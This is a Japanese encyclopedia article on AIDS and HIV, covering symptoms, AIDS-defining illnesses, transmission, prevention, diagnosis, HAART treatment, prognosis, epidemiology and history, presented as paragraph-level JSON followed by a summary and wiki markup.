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"text": "後天性免疫不全症候群(こうてんせいめんえきふぜんしょうこうぐん、英語: Acquired immune deficiency syndrome, AIDS(エイズ))は、ヒト免疫不全ウイルス(HIV)が免疫細胞に感染し、免疫細胞を破壊して後天的に免疫不全を起こす疾患。照屋勝治はエイズを慢性ウイルス血症による「全身性炎症性疾患」としている。性感染症の一つ。HIVに感染しただけでAIDSを発症するのではなく、HIVに感染した人が、免疫能の低下により23の合併症のいずれかを発症した状態のことをいう。",
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"text": "感染から2 - 4週で、無症候(症状がない)や、インフルエンザの様な症状などを起こしてから、5年から10年の症状のない潜伏期間に入る。後に風邪によく似た症状や、全身の脂漏性皮膚炎を呈し、その後、多くの感染症にかかるようになる。感染経路は、コンドームを用いない性行為のほか、注射器の打ち回しといった血液感染や、母子感染が主である。感染しているかの検査には血液検査が用いられる。",
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"text": "治療には抗HIV薬を用いたHAART療法が用いられる。1981年のアメリカ合衆国における初確認から1990年代半ばまでは治療法がなかったが、その後は服薬で体内のHIVを減らすことができるようになった。2021年時点、服薬は副作用があるうえ発症を抑えるため生涯続ける必要があるが、HIVを体内から完全になくすワクチンが研究途上であるほか、幹細胞移植などによる完治例が少数ながらある。一方で治療により、感染者の平均余命は非感染者とほぼ同水準まで延長されているとする研究も報告されている。",
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"text": "照屋勝治によると、エイズは単なる細胞免疫不全疾患ではなく、慢性ウイルス血症による「全身性炎症性疾患」としている。免疫力低下に伴い日和見感染を生じるほか、HIVへの感染自体が血管内皮障害の原因となり、脳血管疾患(脳梗塞、脳出血など)や心血管疾患(心筋梗塞など)のリスクを上昇させるとされる。",
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"text": "HIVの初期感染像はアメリカ疾病予防管理センター(CDC)分類では以下がある。いずれも感染後2 - 4週で起こるといわれ、多くの場合、数日 - 10週間程度で症状は軽くなり、長期の無症候性感染期に入るため、感染には気付きにくい。",
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"text": "上記以外にも、突然の全身性の斑状丘疹状の発疹(maculopapular rash)や、ウイルス量が急激に増加し重症化する例では、多発性神経炎、無菌性髄膜炎、脳炎症状などの急性症状を示す場合もある。しかしながら、これらの症状はHIV感染症特有のものではなく、他の感染症や疾病においても起こりうる症状であることから、症状だけで判断することは困難である。",
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"text": "感染後、数週間から1か月程度で抗体が産生され、ウイルス濃度は激減する。一般のHIV感染検査はこの産生される抗体の有無を検査するため、感染後数週間、人によっては1か月程度経過してからでないと十分な抗体が測定されないため、検査結果が陰性となる場合がある(ウインドウ期間)。",
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"text": "多くの人は急性感染期を過ぎて症状が軽快し、おおむね5年から10年は無症状であるが、体内でHIVが盛んに増殖を繰り返す。また、免疫担当細胞であるCD4陽性T細胞がそれに見合うだけ作られ、ウイルスがCD4陽性T細胞に感染し破壊するプロセスが繰り返されるため、見かけ上の血中ウイルス濃度が低く抑えられているという動的な平衡状態にある。無症候期を通じてCD4陽性T細胞数は徐々に減少していってしまう。無症候期にある感染者は無症候性キャリア(AC)とも呼ばれる。",
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"text": "またこの期間に、自己免疫性疾患に似た症状を呈することが多いことも報告されている。ほかにも帯状疱疹を繰り返し発症する場合も多い。",
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"text": "血液中のCD4陽性T細胞がある程度まで減少していくと、身体的に免疫力低下症状を呈するようになる。",
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"text": "多くの場合、最初は全身倦怠感、体重の急激な減少、慢性的な下痢、極度の過労、帯状疱疹、過呼吸、めまい、発疹、口内炎、発熱、喉炎症、咳など、風邪によく似た症状のエイズ関連症状を呈する。また、顔面から全身にかけての脂漏性皮膚炎などもこの時期に見られる。大抵これらの症状によって医療機関を訪れ、検査結果からHIV感染が判明してくる。",
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"text": "その後、免疫担当細胞であるCD4陽性T細胞の減少と同時に、普通の人間生活ではかからないような多くの日和見感染を生じ、ニューモシスチス肺炎やカポジ肉腫、悪性リンパ腫、皮膚がんなどの悪性腫瘍、サイトメガロウイルスによる身体の異常など、生命に危険が及ぶ症状を呈してくる。また、HIV感染細胞が中枢神経系組織へ浸潤し、脳の神経細胞が冒されるとHIV脳症と呼ばれ、精神障害や認知症、記憶喪失を引き起こすこともある。",
"title": "臨床像"
},
{
"paragraph_id": 13,
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"text": "通常、感染したと認められてから長期間経過したあとに、以下の23の疾患(AIDS指標疾患という)のいずれかを発症した場合にAIDS発症と判断される。",
"title": "臨床像"
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"paragraph_id": 14,
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"text": "A.真菌症 1.カンジダ症(食道、気管、気管支、肺) 2.クリプトコッカス症(肺以外) 3.コクシジオイデス症 (1)全身に播種したもの (2)肺、頚部、肺門リンパ節以外の部位に起こったもの 4.ヒストプラズマ症 (1)全身に播種したもの (2)肺、頚部、肺門リンパ節以外の部位に起こったもの 5.ニューモシスティス肺炎(P. jiroveci)",
"title": "臨床像"
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"text": "B.原虫症 6.トキソプラズマ脳症(生後1か月以後) 7.クリプトスポリジウム症(1か月以上続く下痢を伴ったもの) 8.イソスポラ症(1か月以上続く下痢を伴ったもの)",
"title": "臨床像"
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"paragraph_id": 16,
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"text": "C.細菌感染症 9.化膿性細菌感染症(13歳未満で、ヘモフィルス、連鎖球菌等の化膿性細菌により以下のいずれかが2年以内に、2つ以上多発あるいは繰り返して起こったもの) (1)敗血症 (2)肺炎 (3)髄膜炎 (4)骨関節炎 (5)中耳・皮膚粘膜以外の部位や深在臓器の膿瘍 10.サルモネラ菌血症(再発を繰り返すもので、チフス菌によるものを除く) 11.活動性結核(肺結核又は肺外結核) 12.非結核性抗酸菌症 (1)全身に播種したもの (2)肺、皮膚、頚部、肺門リンパ節以外の部位に起こったもの",
"title": "臨床像"
},
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"paragraph_id": 17,
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"text": "D.ウイルス感染症 13.サイトメガロウイルス感染症(生後1か月以後で、肝、脾、リンパ節以外) 14.単純ヘルペスウイルス感染症 (1)1か月以上持続する粘膜、皮膚の潰瘍を呈するもの (2)生後1か月以後で気管支炎、肺炎、食道炎を併発するもの 15.進行性多巣性白質脳症",
"title": "臨床像"
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"tag": "p",
"text": "E.腫瘍 16.カポジ肉腫 17.原発性脳リンパ腫 18.非ホジキンリンパ腫 19.浸潤性子宮頚癌",
"title": "臨床像"
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"text": "F.その他 20.反復性肺炎 21.リンパ性間質性肺炎/肺リンパ過形成:LIP/PLH complex(13歳未満) 22.HIV脳症(認知症又は亜急性脳炎) 23.HIV消耗性症候群(全身衰弱又はスリム病)",
"title": "臨床像"
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"text": ";HIVによる免疫不全を示唆する所見がみられる者に限る。",
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"paragraph_id": 21,
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"text": "—厚生労働省,感染症法に基づく医師の届出のお願い",
"title": "臨床像"
},
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"paragraph_id": 22,
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"text": "HIVの初期症状は、発熱、リンパ節の腫れ、咽喉の痛み、だるさ、口内炎、発疹、慢性的な下痢、筋肉痛などであり、風邪やインフルエンザの症状と全く変わらず、症状から感染を判断することは難しい。また、潜伏期間が10年と長く感染に気付きにくい。よって、下記の感染の可能性のある行為の経験がある場合は、早めに保健所などでの検査を受けることが重要となる。",
"title": "感染経路"
},
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"text": "HIVは通常の環境では非常に弱いウイルスであり、一般に普通の社会生活をしている分には感染者と暮らしたとしてもまず感染することはない。一般に感染源となりうるだけのウイルスの濃度をもっている体液は血液、精液、膣分泌液、母乳が挙げられる。一般に感染しやすい部位としては粘膜(腸粘膜、膣粘膜、口腔粘膜など)、切創や刺創などの血管に達するような深い傷などがあり、通常の傷のない皮膚からは侵入することはない。そのため、主な感染経路は以下の3つに限られている。",
"title": "感染経路"
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{
"paragraph_id": 24,
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"text": "性行為による感染では、性分泌液に接触することが最大の原因である。通常の性行為では、女性は精液が膣粘膜に直接接触し血液中にHIVが侵入することで感染する。男性は性交によって亀頭に目に見えない細かい傷ができ、そこに膣分泌液が直接接触し血液中にHIVが侵入する事で感染する。そのため、性交でなくても性器同士を擦り合わせるような行為でもHIV感染が起こる恐れがある。また肛門性交では腸粘膜に精液が接触しそこから感染するとされている。腸の粘膜は一層であるため薄く、HIVが侵入しやすいため、膣性交よりも感染リスクが高い。コンドームの着用がHIVの性的感染の予防措置として有効である。ただし使用中に破れたり、劣化したものを気付かずに使用する場合があるため、完全に感染を防ぐことができるとはいえない。コンドームの使用に際しては、信頼できる製品を使用期限内に正しい用法で用いることが推奨される。また割礼によって感染リスクが低減するという研究結果が複数ある。傷つきやすく、免疫関連細胞の多い包皮を切除することで、HIVの侵入・感染が抑えられるためだと考えられている。なお口腔で性器を愛撫する場合も、口腔内に歯磨きなどで微小な傷が生じていることが多く、そこに性分泌液が接触することで、血液中にウイルスが侵入するおそれがある。",
"title": "感染経路"
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"paragraph_id": 25,
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"text": "感染者の血液が、傷、輸血、麻薬の回し打ちなどによって、血液中に侵入することで感染が成立する。特に麻薬・覚醒剤中毒者間の注射器・注射針の使い回しは感染率が際立って高い。以前は輸血や血液製剤からの感染があったが、現在では全ての血液が事前にHIV感染の有無を検査され、感染のリスクは非常に低くなっている。医療現場においては、針刺し事故などの医療事故による感染が懸念され、十分な注意が必要である。",
"title": "感染経路"
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"text": "母子感染の経路としては3つの経路がある。出産時の産道感染、母乳の授乳による感染、妊娠中に胎児が感染する経路である。産道感染は子供が産まれてくる際、産道出血による血液を子供が浴びることで起こる。感染を避ける方法として、帝王切開を行い母親の血液を付着させない方法があり、効果を上げている。母乳による感染が報告されており、HIVに感染した母親の母乳を与えることは危険とされている。この場合は子供に粉ミルクを与えることによって、感染を回避することができる。胎内感染は、胎盤を通じ子宮内で子供がHIVに感染することで起こる。物理的な遮断ができないため、感染を回避することが難しい。感染を避ける方法として、妊娠中に母親がHAART療法により血中のウイルス量を下げ、子供に感染する確率を減らす方法がとられている。",
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"text": "2018年現在、HIV感染を予防する方法・薬剤が存在する。一つは、医療従事者などが「針刺し事故」で感染の危険がある場合に、事後的に薬剤を投与する「曝露後予防内服(PEP、Post Exposure Prophylaxis)」であり、もう一つは、HIV感染リスクの高い業務に従事していたり(たとえば、コンドームを使用しないで性的サービスを行うソープランド従業員)、コンドームを用いないで不特定多数と性行為を行うライフスタイルを営む者に対して事前に薬剤を投与しておく「曝露前予防内服(PrEP、Pre Exposure Prophylaxis)」である。",
"title": "感染経路"
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"paragraph_id": 28,
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"text": "曝露前予防内服(PrEP)は、ゲイやバイセクシュアルの男性において高い予防効果と安全性が報告されており、怠薬なく毎日の服用を続けることができれば、90パーセント以上の予防効果があると考えられている。",
"title": "感染経路"
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"paragraph_id": 29,
"tag": "p",
"text": "なお、曝露前予防内服(PrEP)も曝露後予防内服(PEP)も「ツルバダ(Truvada)」という商品名の抗HIV薬(テノホビル・エムトリシタビン合剤薬剤)を1日1回内服する方法が用いられる。",
"title": "感染経路"
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"paragraph_id": 30,
"tag": "p",
"text": "HIVはHIV感染症ないしAIDSとして知られる連続性を持つ疾患の病原体である。このウイルスはレトロウイルスの一種で、感染時にはまずCD4陽性細胞、マクロファージ、樹状細胞といったヒトの免疫系に携わる細胞に感染する。そして、直接的にも間接的にもCD4陽性細胞を破壊する。",
"title": "病原体"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "HIVはレトロウイルス科レンチウイルス属の一員である。レンチウイルスは形態学的にも生物学的にも多数の共通点を持つ。レンチウイルスは多くの哺乳類に感染しており、長期の潜伏期(incubation period)を伴う長く続く疾患の原因となる。レンチウイルスはエンベロープを持つ、一本鎖のプラス鎖RNAウイルスである。標的細胞への侵入に際し、ウイルス粒子にゲノムと共に細胞内へ輸送される逆転写酵素によってウイルスRNAゲノムは二重鎖のDNAへと変換(逆転写)される。ウイルスDNAはさらに宿主の核内へ運ばれ、ウイルスのインテグラーゼと宿主の共因子の働きによって宿主DNAに取り込まれる。宿主DNAに取り込まれたウイルスは潜伏状態(latent)となり、ウイルスとその宿主細胞が免疫系に検知されるのを避ける。代わりにウイルスは転写を受けて新たなRNAゲノムとウイルスタンパク質を産生し、組み立てられたウイルス粒子が細胞外へ放出されて新たな増殖環を開始する。",
"title": "病原体"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "HIVはCD4陽性細胞間を2つの方法で拡散することが知られる。1つが細胞フリーな拡散法で、もう1つが細胞 - 細胞拡散法であり、HIVはハイブリッドな拡散法を利用する。細胞フリーな拡散においてはウイルス粒子が感染細胞T細胞から出芽し、血液や細胞外液へ進出、遭遇したほかのT細胞へ感染する。HIVはまた細胞から細胞へ、細胞 - 細胞拡散によっても広がっていく。ハイブリッドなHIVの拡散機構は抗レトロウイルス療法時におけるウイルスの増殖進行を可能にする。",
"title": "病原体"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "HIVには2つの型が知られる。HIV-1とHIV-2である。HIV-1は最初に発見された(そして当初はLAV、もしくはHILV-IIIとも呼ばれた)ウイルスである。HIV-1はより病原性(virulence)と感染性が高く、世界的に見てHIV感染症の主要な病原体となっている。HIV-1と比べたHIV-2の感染性の低さは、HIV-2の曝露時に感染が成立する確率が低いことを暗示する。相対的な感染能力の低さゆえ、HIV-2はほとんど西アフリカに限って存在している。",
"title": "病原体"
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"paragraph_id": 34,
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"text": "厚生労働省は、HIV感染症であり、かつ、指標疾患(Indicator Disease)の1つ以上が明らかに認められる場合にAIDSと診断し、感染症法に基づく届出が必要、としている。",
"title": "診断"
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{
"paragraph_id": 35,
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"text": "HIV感染症の診断では、血液中に抗体を有することを検査する。日本での検査方法は、日本エイズ学会による「HIV-1/2 感染症の診断ガイドライン」が広く用いられている。",
"title": "診断"
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{
"paragraph_id": 36,
"tag": "p",
"text": "HIVに感染しているかどうかの検査は居住地に関係なく全国の保健所で匿名・無料で受けることができる。都市部の保健所では、夜間や休日にも検査を行っているところがあり、仕事や学業に影響を与えず検査できる体制を整えつつある。また、医療機関でも実費負担で検査を受けられるところがある。",
"title": "診断"
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"paragraph_id": 37,
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"text": "結果はおよそ1週間ほどで判明するが、近年は30分以内で判明する即日検査も普及し始めている。通常は抗体スクリーニング検査が行われるが、より感度が高くウインドウ期間の短いNAT検査(詳細は後述)を実施している保健所や医療機関もある。",
"title": "診断"
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"paragraph_id": 38,
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"text": "血液を採取して以下の検査が行われる。",
"title": "診断"
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"text": "献血で採取された血液からHIVやその他のウイルスの感染の有無を調べるため、日本赤十字社による献血では現在、抗体検査やNAT検査が行われている。",
"title": "診断"
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"paragraph_id": 40,
"tag": "p",
"text": "抗HIV薬について、基本的に多剤併用療法(Highly Active Anti-Retroviral Therapy:HAART療法)にて治療が行われる。ただ、完治・治癒に至ることは現在でも困難であるため、抗ウイルス薬治療は開始すれば一生継続する必要がある。",
"title": "治療"
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"paragraph_id": 41,
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"text": "一方、患者の平均余命は新薬の開発などにより改善されている。ブリストル大学の研究チームによると、2008年以降の早期に抗レトロウイルス薬治療(ART)を始めた20歳患者の平均余命は78歳であり、非感染者とほぼ同水準まで延長されていた。",
"title": "治療"
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"paragraph_id": 42,
"tag": "p",
"text": "また、HAART療法は2000年初頭までは1年間に1万ドル以上が必要であったが、インドやタイ、ブラジルなどで安価なジェネリック薬が生産されるようになり、さらに世界最大のエイズ患者を抱える南アフリカ共和国がこうした薬を輸入できるよう定めた改正薬事法を1997年に施行し、これに対し提訴した製薬会社が2001年に和解に応じたことでエイズ治療薬価格が大幅に低下した。2001年末にはHAART療法に必要な薬価は年間350ドルに低下し、エイズ治療は貧困層にも手の届くものとなった。",
"title": "治療"
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"paragraph_id": 43,
"tag": "p",
"text": "一般に、アメリカ合衆国保健福祉省(US DHHS)の治療ガイドラインが世界的に広く用いられている。おもなガイドラインには以下が存在する(ほぼ、毎年のように改訂)。",
"title": "治療"
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{
"paragraph_id": 44,
"tag": "p",
"text": "アメリカ合衆国保健福祉省(US DHHS)の治療ガイドラインでは以下とされている。",
"title": "治療"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "日本の最新のガイドラインでは、すべてのHIV感染患者に対して抗HIV薬の開始が推奨されるようになっていて、特に、",
"title": "治療"
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{
"paragraph_id": 46,
"tag": "p",
"text": "場合には、早期の治療開始がより強く推奨されている。ただし、CD4数が500/μLより多いと身体障害者手帳を取得できない場合があり、医療費助成制度を使えない可能性もあるので、事前に十分に確認する必要がある。",
"title": "治療"
},
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"paragraph_id": 47,
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"text": "現在、以下のような種類のHIVに対する抗ウイルス薬が存在する。",
"title": "治療"
},
{
"paragraph_id": 48,
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"text": "基本的に、世界的に広く感染している「HIV-1」に対する治療についておもに記述する。「HIV-2」に関しては同じような治療であるが、NNRTIは効果が薄いなどの違いがある。",
"title": "治療"
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"text": "「アメリカ合衆国保健福祉省(US DHHS)の治療ガイドライン」における推奨レジメンは以下の通りである。",
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"text": "日本の「HIV感染症治療研究会によるHIV感染症治療の手引き」における推奨レジメンは以下の通りである。キードラッグ(NNRTI or PI)とバックボーンドラッグ(2-NRTI)から1つずつ選択し併用する。",
"title": "治療"
},
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"title": "治療"
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"title": "治療"
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"text": "免疫機能障害ということで都道府県に申請することにより身体障害者手帳が交付される。",
"title": "治療"
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"text": "免疫不全の患者は、感染量に比べると炎症は実は軽度であり、日和見感染症治療中にHAART療法を開始すると免疫が賦活化することによって、日和見感染症が悪化することがある。これを「免疫再構築症候群(IRIS、アイリス)」と呼ぶ。この危険を避けるため、HAART療法は日和見感染症治療後に開始することとなる。",
"title": "治療"
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"text": "HAART療法は、安定期まで持っていくことができれば、ほとんどAIDSで死亡することはなくなった。ガイドラインで用いられているデータも、10年生存率まで記載されており、おそらく平均余命まで行くであろうというのが、大方の予想である(HIVの発見が1981年ということを考えると、ここまでデータがあれば十分である)。また、前述のように2017年に公表された欧州と北米の調査の分析結果では、2008年以降に20歳でウイルス量が少ないうちに抗レトロウイルス薬治療(ART)を開始した場合の平均余命は非感染者とほぼ同水準だった。",
"title": "治療"
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{
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"tag": "p",
"text": "現在のHIV療法である多剤併用療法は決して根治的な療法ではなく、血中のウイルス量が検出限界以下となっても、依然としてリンパ節や中枢神経系などにウイルスが駆逐されずに残存(Latent Reservoir)していることが知られており、服薬を中止するとただちにウイルスのリバウンドが起こるなどの問題がある。基本的にHAART療法は、一生継続しなければならない。",
"title": "治療"
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{
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"tag": "p",
"text": "有名な副作用としては、開始直後から出現し徐々に軽快する胃腸障害や精神障害、開始後1 - 3週で一過性に生じる皮疹、開始後1か月以上経過してから生じ、持続する高脂血症、リポアトロフィー(脂肪分布の変化)、糖代謝異常(高脂血症と併せて年間30パーセントリスクで虚血性心疾患のリスクが高まる、かつ、PIとNNRTIはスタチン系と併用禁忌)、末梢神経障害、まれだが重篤な乳酸アシドーシス(NRTIにてミトコンドリアDNA合成を阻害するため)などが知られている。",
"title": "治療"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "世界的にAIDSは急性経過をとって致死に至るより、むしろ慢性化する感染症である。予後には個人差があり、CD4陽性細胞数とウイルス量の測定が経過の予測に有用である。無治療の場合、HIVの亜型によってHIV感染後の平均生存期間は9年から11年と見積もられる。さらにAIDSと診断されてなお治療がなされない場合、生存期間は6か月から19か月の間となる。HAART療法と適切な日和見感染症の予防が行われると死亡率は最大80パーセント減少し、余命は新規に診断された若い成人で20年から50年に延長される。この数値は健常者の余命と比べても3分の2からほぼ同等の水準である。治療開始が遅れると予後はそれほどよくない。たとえばAIDSの診断後に治療を開始すると、余命は最大で10年から40年となる。HIVの感染とともに産まれた新生児に関しては、無治療の場合その半分が2歳までに死亡する。",
"title": "予後"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "AIDSの直接的な死因は日和見感染症やがんであり、いずれも多くの場合、進行性の免疫不全の結果として生じる。がんのリスクはCD4陽性細胞数が500 /μLを下回ると増加するようである。臨床症状の進行速度は個人差が大きく、患者の感受性や免疫機能、保健施設の利用度、共感染の有無、特定のウイルス株への感染といった要素に影響を受けることが示されている。",
"title": "予後"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "結核の共感染はAIDS患者における病態進行と死の主要な原因の一つで、HIV感染者の3分の1が結核で死に、25パーセントのHIV関連死の原因となっている。またHIV自体も結核のもっとも重要な危険因子の一つである。C型肝炎も一般的な共感染症であり、HIVとC型肝炎ウイルスは互いの増悪因子である。AIDS関連のがんでもっとも一般的なのはカポジ肉腫と非ホジキンリンパ腫である。",
"title": "予後"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "抗レトロウイルス療法を行っても、HIV感染者は長期的に神経認知障害、骨粗鬆症、神経病、がん、腎臓疾患、および心血管疾患などを経験する可能性がある。場合によっては、リポジストロフィーがHIVとその治療によって引き起こされることがある。",
"title": "予後"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "2022年末現在、世界のHIV陽性者数は3,900万人、新規HIV感染者数は年間130万人、エイズによる死亡者数は年間63万人となっている。",
"title": "疫学"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "サハラ以南のアフリカには全世界の65パーセント近くのHIV陽性者がいるといわれる。2022年末においては全世界のHIV陽性者数は3,900万人のうち、アフリカ(東部、西部、南部、中央アフリカ)が2,560万人を占める。同年のHIV新規感染者は全世界で130万人、うちアフリカが66万人である。同年のエイズ死亡者は全世界で63万人で、うちアフリカは38万人である。",
"title": "疫学"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "このうち中東圏に属する北アフリカではAIDS患者がほとんどいないため、この数値のほとんどはブラックアフリカにおける数値である。中でも患者数が多いのは南部アフリカであり、南アフリカ共和国、ナミビア、ボツワナ、スワジランド、レソト、ジンバブエ、ザンビアの7か国では人口の15パーセント以上が感染している。もっとも人口に対する感染率が高いのはボツワナであり、2001年末においては成人人口の38.8パーセントがHIVに感染している。この影響により、上図のように南部アフリカ諸国においては1990年代以降AIDSによる死者の急増によって平均寿命が低下し、ボツワナは20歳以上平均寿命が短縮した。",
"title": "疫学"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "1986年にはウガンダが感染率5パーセントを超えていたものの、それ以外に感染率5パーセントを超えるような国はなく、感染者数の多い国もほぼアフリカ中部に限られていた。しかしその後、感染者数は増加の一途をたどり、南部アフリカに向かって徐々にパンデミックは広がっていった。1991年にはウガンダ、ザンビア、ジンバブエで感染率が20パーセントを超え、1996年にはボツワナ、スワジランド、レソトで20パーセントを超え、2001年には上記の状況となったように、感染は急速に拡大していった。",
"title": "疫学"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "アフリカにおける感染拡大は、他地域と異なり異性間の性行為によるものが圧倒的に多い。これは性的な寛容さや女性の地位の低さなどによると考えられている。同様の理由で、他地域とは異なりアフリカのエイズ患者は女性の方が男性よりも多くなっている。また、AIDSに対する知識の低さや迷信、貧困や戦争による影響も感染拡大の一因とされている。現在では治療薬によって病状を食い止めることは可能になっているものの、アフリカの多くの国においては貧困のためそれらの治療薬を入手することができない患者が多い。AIDSによる死者は働き盛りの男女が多いため、死亡率が急速に上昇した国々においては労働人口の減少を招き、経済に悪影響を招いている。さらに、親がエイズによって死亡した子供たちは孤児となり、エイズ孤児と呼ばれる社会問題となっている。エイズにかかっている親がミルクを購入できず母乳で幼児を育てざるを得ないため、母乳による母子感染の率も非常に高い。この母子感染による乳児死亡率の激増も、ブラックアフリカ諸国における平均寿命低下の大きな一因となっている。",
"title": "疫学"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "このエイズ禍に対して、アフリカ諸国の政府の多くは有効な手を打つことができなかった。アフリカ諸国の多くは統治力が弱く保健衛生の制度もあまり整っていなかったうえ、パンデミック初期においてはエイズ治療薬の価格が非常に高く、増え続ける患者に行きわたるだけの治療薬を入手することが不可能だったためである。こうした中で、もっとも早くエイズ対策に取り組んだのはウガンダである。ウガンダは世界で初めてHIVのパンデミックが起こった国家であるが、その後政府はエイズ予防のためのさまざまな政策を実施し、こうしたプログラムが功を奏して感染率は減少した。また、ボツワナのように患者に対するケアの体制を整えられた国も存在する。ボツワナは2001年末においては成人人口の38.8パーセントがHIVに感染しており、世界でもっともHIV感染率の高い国であったが、同年からボツワナ政府はエイズに対する強力な対抗プログラムを実施し始めた。2001年からはアフリカではじめてエイズ治療が公的資金によって行われるようになり、2003年には一般の健康診断にエイズ検査が盛り込まれるようになるなど、早期発見および治療に重点が置かれた。またこれと並行し、エイズ予防の啓発プログラムも強力に推進された。こうした政策によってボツワナのエイズ死亡率は減少し、感染率も2008年には23.9パーセントにまで減少した。また、2001年にエイズ治療薬の薬価が急激に低下したこともあり、このころからアフリカ各国においてエイズ対策が本格化し始め、新規感染者は徐々に減少の方向に向かい始め、一度は急減した平均寿命もこれにともない回復の傾向を見せている。しかし一度感染したエイズ患者は完治することはないため、HIV感染者の総数はそれほど減っておらず、依然として相対的に高い感染率となっている。",
"title": "疫学"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "1985年、初めてAIDS患者が確認され、1989年2月17日、「後天性免疫不全症候群の予防に関する法律」が施行。当初は大半が凝固因子製剤による感染症例(薬害エイズ事件)だった。",
"title": "疫学"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "2022年の新規HIV感染者報告数・新規AIDS患者報告数は、前年の報告数より減少しており、6年連続での減少となった。 日本人患者・感染者の現状は、同性間性的接触による感染が多く、ついで異性間性行為による感染が続いている。静注薬物乱用や母子感染によるものは少ない。",
"title": "疫学"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "HIVの起源はカメルーンのチンパンジーという説が有力であり、そこから人に感染して世界中に広まっていったと考えられている。1981年にアメリカのロサンゼルスに住む同性愛男性(ゲイ)に初めて発見され、症例報告された。ただし、これはエイズと正式に認定できる初めての例で、疑わしき症例は1950年代から報告されており、「やせ病(slimming disease)」という疾患群が中部アフリカ各地で報告されていた。1981年の症例報告後、わずか10年程度で感染者は世界中に100万人にまで広がっていった。",
"title": "歴史"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "当初、アメリカでエイズが広がり始めたころ、原因不明の死の病に対する恐怖感に加えて、感染者にゲイや麻薬の常習者が多かったことから、感染者に対して社会的な偏見が持たれたことがあった。現在は病原体としてHIVが同定され、異性間性行為による感染や出産時の母子感染も起こり得ることが知られるようになり、広く一般的な問題として受け止められている。",
"title": "歴史"
}
]
| 後天性免疫不全症候群は、ヒト免疫不全ウイルス(HIV)が免疫細胞に感染し、免疫細胞を破壊して後天的に免疫不全を起こす疾患。照屋勝治はエイズを慢性ウイルス血症による「全身性炎症性疾患」としている。性感染症の一つ。HIVに感染しただけでAIDSを発症するのではなく、HIVに感染した人が、免疫能の低下により23の合併症のいずれかを発症した状態のことをいう。 感染から2 - 4週で、無症候(症状がない)や、インフルエンザの様な症状などを起こしてから、5年から10年の症状のない潜伏期間に入る。後に風邪によく似た症状や、全身の脂漏性皮膚炎を呈し、その後、多くの感染症にかかるようになる。感染経路は、コンドームを用いない性行為のほか、注射器の打ち回しといった血液感染や、母子感染が主である。感染しているかの検査には血液検査が用いられる。 治療には抗HIV薬を用いたHAART療法が用いられる。1981年のアメリカ合衆国における初確認から1990年代半ばまでは治療法がなかったが、その後は服薬で体内のHIVを減らすことができるようになった。2021年時点、服薬は副作用があるうえ発症を抑えるため生涯続ける必要があるが、HIVを体内から完全になくすワクチンが研究途上であるほか、幹細胞移植などによる完治例が少数ながらある。一方で治療により、感染者の平均余命は非感染者とほぼ同水準まで延長されているとする研究も報告されている。 | {{半保護}}
{{Infobox disease
| Name = 後天性免疫不全症候群<br/><small>(エイズ)</small>
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| Caption = エイズに関する社会運動のシンボル・[[レッドリボン]]
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| MedlinePlus = 000594
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}}
{{世界の疾病負荷}}
'''後天性免疫不全症候群'''(こうてんせいめんえきふぜんしょうこうぐん、{{lang-en|Acquired immune deficiency syndrome}}, '''AIDS'''('''エイズ'''))は、[[ヒト免疫不全ウイルス]](HIV)が[[免疫]]細胞に感染し、免疫細胞を破壊して[[後天性|後天的]]に免疫不全を起こす疾患<ref>{{Cite web|和書|url=https://www.gov-online.go.jp/useful/article/201305/2.html |title=ストップエイズ!今は「不治の特別な病」ではなく、コントロール可能な病気です。まずは早めに「HIV検査」を |publisher=政府広報オンライン |accessdate=2013-05-31}}</ref>。照屋勝治はエイズを慢性ウイルス血症による「全身性炎症性疾患」としている<ref name=naika.102.3244/>。[[性感染症]]の一つ。HIVに感染しただけでAIDSを発症するのではなく、HIVに感染した人が、免疫能の低下により23の[[合併症]]のいずれかを発症した状態のことをいう<ref>{{Cite web|和書|url=http://hok-hiv.com/knowledge/about/ |title=HIVとAIDSについて |date=2019 |accessdate=2019-09-17 |work=北海道大学病院HIV診療支援センターHIV相談室}}</ref>。
感染から2 - 4週で、無症候(症状がない)や、[[インフルエンザ]]の様な症状などを起こしてから、5年から10年の症状のない[[潜伏期間]]に入る。後に[[風邪]]によく似た症状や、全身の[[脂漏性皮膚炎]]を呈し、その後、多くの[[感染症]]にかかるようになる。[[感染経路]]は、[[コンドーム]]を用いない性行為のほか、注射器の打ち回しといった血液感染や、母子感染が主である。感染しているかの検査には血液検査が用いられる。
治療には抗HIV薬を用いた[[HAART療法]]が用いられる。1981年の[[アメリカ合衆国]]における初確認から1990年代半ばまでは治療法がなかったが、その後は服薬で体内のHIVを減らすことができるようになった<ref name="朝日20211222">[https://www.asahi.com/articles/DA3S15150597.html エイズ「死の病」脱し完治へ研究/HIV感染 薬生涯のみ続け発症おさえる/ウイルス消すワクチン 5年以内に治験構想]『[[朝日新聞]]』朝刊2021年12月22日(医療面)2021年12月24日閲覧</ref>。2021年時点、服薬は[[副作用]]があるうえ発症を抑えるため生涯続ける必要があるが、HIVを体内から完全になくす[[ワクチン]]が研究途上であるほか、[[幹細胞]]移植などによる完治例が少数ながらある<ref name="朝日20211222"/>。一方で治療により、感染者の[[平均余命]]は非感染者とほぼ同水準まで延長されているとする研究も報告されている。
== 臨床像 ==
